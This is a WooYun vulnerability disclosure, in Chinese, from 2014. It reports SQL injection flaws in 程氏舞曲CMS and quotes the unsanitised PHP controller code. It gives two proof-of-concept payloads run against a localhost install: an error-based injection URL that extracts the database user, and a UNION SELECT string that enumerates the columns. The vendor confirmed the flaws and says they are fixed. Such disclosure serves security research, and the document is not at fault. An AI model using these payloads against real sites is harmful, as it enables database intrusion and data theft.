当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051255

漏洞标题:程氏舞曲CMS最新php版本多处sql注入漏洞

相关厂商:chshcms.com

漏洞作者: 寂寞的瘦子

提交时间:2014-02-18 11:41

修复时间:2014-05-19 11:42

公开时间:2014-05-19 11:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-18: 厂商已经确认,细节仅向厂商公开
2014-02-21: 细节向第三方安全合作伙伴开放
2014-04-14: 细节向核心白帽子及相关领域专家公开
2014-04-24: 细节向普通白帽子公开
2014-05-04: 细节向实习白帽子公开
2014-05-19: 细节向公众公开

简要描述:

操蛋捏。

详细说明:

昨天刚下载的,2.16号更新的版本。
第一处在管理后台:/upload/app/controllers/admin/news.php第66行

public function so()
{
$key = $this->input->get('key');//使用get方式获取相关参数,没做处理
$user = $this->input->get('user');
$cid = $this->input->get('cid');
$page = $this->input->get('page');
if(empty($page)) $page=1;
$sql_string = "SELECT * FROM ".CS_SqlPrefix."news where 1=1";
if($key){
$sql_string.= " and CS_Name like '%".$key."%'";
}
if($user){
$sql_string.= " and CS_User like '%".$user."%'";
}
if($cid){
if($cid=="-1"){
$sql_string.= " and cs_hid=1";
}elseif($cid=="-2"){
$sql_string.= " and cs_yid=1";
}else{
$sql_string.= " and CS_CID=".$cid."";
}
}
$sql_string.= " order by CS_AddTime desc";//拼接字符串
$query = $this->db->query($sql_string); //没处理带入查询
$total = $query->num_rows();


请求url:http://127.0.0.1/cms/upload/index.php/admin/dance/so/?key=1' AND (SELECT 5960 FROM(SELECT COUNT(*),CONCAT((select user()),(SELECT (CASE WHEN (5960=5960) THEN 1 ELSE 0 END)),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)%23
利用显错读取信息。

.png


还有一处在前台:/upload/app/controllers/singer.php第127行

public function so()
{
$data='';$data_content='';
$fid = $this->security->xss_clean($this->uri->segment(3)); //方式
$key = $this->security->xss_clean($this->uri->segment(4)); //关键字
$page = intval($this->security->xss_clean($this->uri->segment(5))); //页数
if($page==0) $page=1;
if(empty($key)) $key = $this->input->post('key', TRUE);//以post方式接受key值


跟踪变量同一文件165行 :

if($fid=='zm' && in_array(strtoupper($key),$zimu_arr)){  //按字母搜索
$posarr=array_keys($zimu_arr,strtoupper($key));
$pos=$posarr[0];
$sqlstr="SELECT * FROM ".CS_SqlPrefix."singer where CS_YID=0 and ((ord( substring( CS_Name, 1, 1 ) ) -65536>=".($zimu_arr1[$pos])." and ord( substring( CS_Name, 1, 1 ) ) -65536<=".($zimu_arr2[$pos]).")) or UPPER(substring( CS_Name, 1, 1 ))='".$zimu_arr[$pos]."'";
}else{
$sqlstr="select * from ".CS_SqlPrefix."singer where CS_YID=0 and CS_Name like '%".$key."%' order by CS_AddTime desc";//$key带入查询,中间没做处理
}


1.png



漏洞证明:

第二处没法根据显错读取信息,sql语句不过关...
但是可以使用union读取字段等信息(附上payload:http://127.0.0.1/cms/upload/index.php/vod/so/key/%25%27%20union%20select%201%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%23)
返回正确,表示有39个字段

修复方案:

早知道不一起合并了,样式估计要乱了。。。
ps:还有几处类似的文件存在bug,请排查

版权声明:转载请注明来源 寂寞的瘦子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-18 16:11

厂商回复:

感谢你的提醒
已经修复!

最新状态:

暂无